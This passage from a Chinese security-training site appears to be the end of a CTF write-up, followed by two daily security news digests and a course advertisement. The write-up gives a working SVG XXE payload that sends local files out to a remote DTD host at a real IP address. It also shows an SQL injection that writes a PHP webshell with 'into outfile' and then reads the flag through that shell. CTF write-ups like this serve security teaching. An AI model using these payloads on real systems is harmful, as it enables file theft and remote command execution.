<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Note [
<!ENTITY lab SYSTEM "file:///home/r1ck/.bash_history">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///home/r1ck/.bash_history">
<!ENTITY % remote SYSTEM "http://39.105.158.221:1234/xml.dtd">
%remote;
%start;
%send;
]>
<svg xmlns="http://www.w3.org/2000/svg" height="200" width="200">
<text y="20" font-size="20">&lab;</text>
</svg>
构造xml.dtd
<!ENTITY % start "<!ENTITY % send SYSTEM 'http://ip:1234/?%file;'>">
然后我们把1.svg和xml.dtd放到我们的vps上,然后在我们的vps上监听1234端口,再在网页提交1.svg的链接即可成功读取到.bash_history,内容如下:
cd /app
php -S 0.0.0.0:8080
可以得知在8080端口有另外一个web服务,我们继续利用XXE数据外带读取源码,修改1.svg的一部分内容如下,其余操作一样
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/app/index.php">
读取到源码如下:
<!doctype html>
<html>
<head>
<meta charset="UTF-8">
<title>index</title>
</head>
Hi!
You Find Me .
Flag is nearby.
<body>
</body>
</html>
<?php
$conn=mysql_connect('127.0.0.1','root','');
mysql_select_db('security');
if ($_GET['id']){
$id = $_GET['id'];
}
else
$id = 1;
$sql = "select * from user where id='$id'";
$result = mysql_query($sql,$conn);
$arr = mysql_fetch_assoc($result);
print_r($arr);
?>
发现sql注入,没有任何的过滤,直接利用into outfile写个一句话木马,当然这里要注意的是传入的时候要url编码。
http://127.0.0.1:8080/index.php?id=-1%27 union select 1,'<?php system($_GET[cmd]);>' into outfile'/app/dashabi.php'#
写完shell之后,继续利用数据外带读取内容,重复上面的步骤即可。
读取文件目录:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1:8080/dashabi.php?cmd=ls">
读取flag:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1:8080/dashabi.php?cmd=cat%20H3re_1s_y0ur_f14g.php">
总结
SVG算是一个比较容易让人忽视的点,但是他造成的一些问题却是我们不能够忽视的,在CTF中如果有些题目没有限制SVG这个点的话,我们就可以尝试用他来进行XSS或者XXE,然后在查阅资料的过程,发现在国外有人总结了SVG的攻击XSS的一些payload以及防御的方案,具体可以参考:
https://svg.digi.ninja/
https://github.com/digininja/svg_xss
参考链接
http://yulige.top/?p=665
https://www.rootnetsec.com/bsidessf-svgmagick/
https://www.freebuf.com/vuls/207639.html
网络安全日报 2020年11月06日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、Maze勒索软件的客户开始利用Egregor作为的替代品
https://www.zdnet.com/article/as-maze-ransomware-group-retires-clients-turn-to-sekhmet-ransomware-spin-off-egregor/
2、研究人员发现了Windows中的特权提升漏洞
https://www.securityweek.com/games-microsoft-store-can-be-abused-privilege-escalation-windows
3、切萨皮克地区2.3万份医疗保健数据遭到泄露
https://www.wtkr.com/news/chesapeake-regional-healthcare-alerts-over-23k-patients-after-data-security-incident
4、谷歌本周公开了影响GitHub Actions的漏洞详细信息
https://www.securityweek.com/google-discloses-details-github-actions-vulnerability
5、趋势科技修复了IMSA产品中多个漏洞
https://www.securityweek.com/trend-micro-patches-vulnerabilities-interscan-messaging-security-product
6、苹果发布了iOS 14.2,修复了三个被利用的0 day漏洞
https://securityaffairs.co/wordpress/110462/hacking/apple-ios-zero-days.html
7、过去12个月超过1200家公司的VoIP服务器被入侵滥用
https://thehackernews.com/2020/11/premium-rate-phone-fraudsters-hack-voip.html
8、黑客泄露了5.22GB的Mashable数据库
https://www.hackread.com/shinyhunters-hacker-leaks-mashable-database/
9、Git LFS存在高危漏洞可导致Windows的系统被入侵
https://www.helpnetsecurity.com/2020/11/05/cve-2020-27955/
10、研究人员发现用于数据分析的容器镜像存在大量漏洞
https://www.darkreading.com/application-security/containers-for-data-analysis-are-rife-with-vulnerabilities/d/d-id/1339372
网络安全日报 2020年11月05日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、著名的玩具制造商美泰披露受到勒索软件攻击
https://www.bleepingcomputer.com/news/security/leading-toy-maker-mattel-hit-by-ransomware/
2、新的RegretLocker勒索软件针对Windows虚拟机
https://www.bleepingcomputer.com/news/security/new-regretlocker-ransomware-targets-windows-virtual-machines/
3、谷歌发布了Android操作系统的每月补丁程序
https://www.securityweek.com/google-patches-30-vulnerabilities-november-2020-android-updates
4、黑客团伙利用Solaris的0day漏洞破坏企业网络
https://www.zdnet.com/article/hacker-group-uses-solaris-zero-day-to-breach-corporate-networks/
5、自动化软件销售商SaltStack修复了三个错误
https://www.theregister.com/2020/11/04/saltstack_security/
6、VMware修复了严重的VMware ESXi漏洞
https://www.securityweek.com/patch-critical-vmware-esxi-vulnerability-incomplete
7、日本视频游戏公司Capcom受网络攻击
https://securityaffairs.co/wordpress/110423/hacking/capcom-hit-by-cyberattack.html
8、思科披露了Cisco AnyConnect移动客户端0day漏洞及Poc
https://securityaffairs.co/wordpress/110414/security/zero-day-cisco-anyconnect-secure-mobility-client.html
9、REvil Ransomware成员买下了信息窃取软件KPot的源代码
https://securityaffairs.co/wordpress/110407/malware/revil-ransomware-kpot-stealer.html
10、Cit0day.in泄露了23,600个被黑数据库
https://www.zdnet.com/article/23600-hacked-databases-have-leaked-from-a-defunct-data-breach-index-site/
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

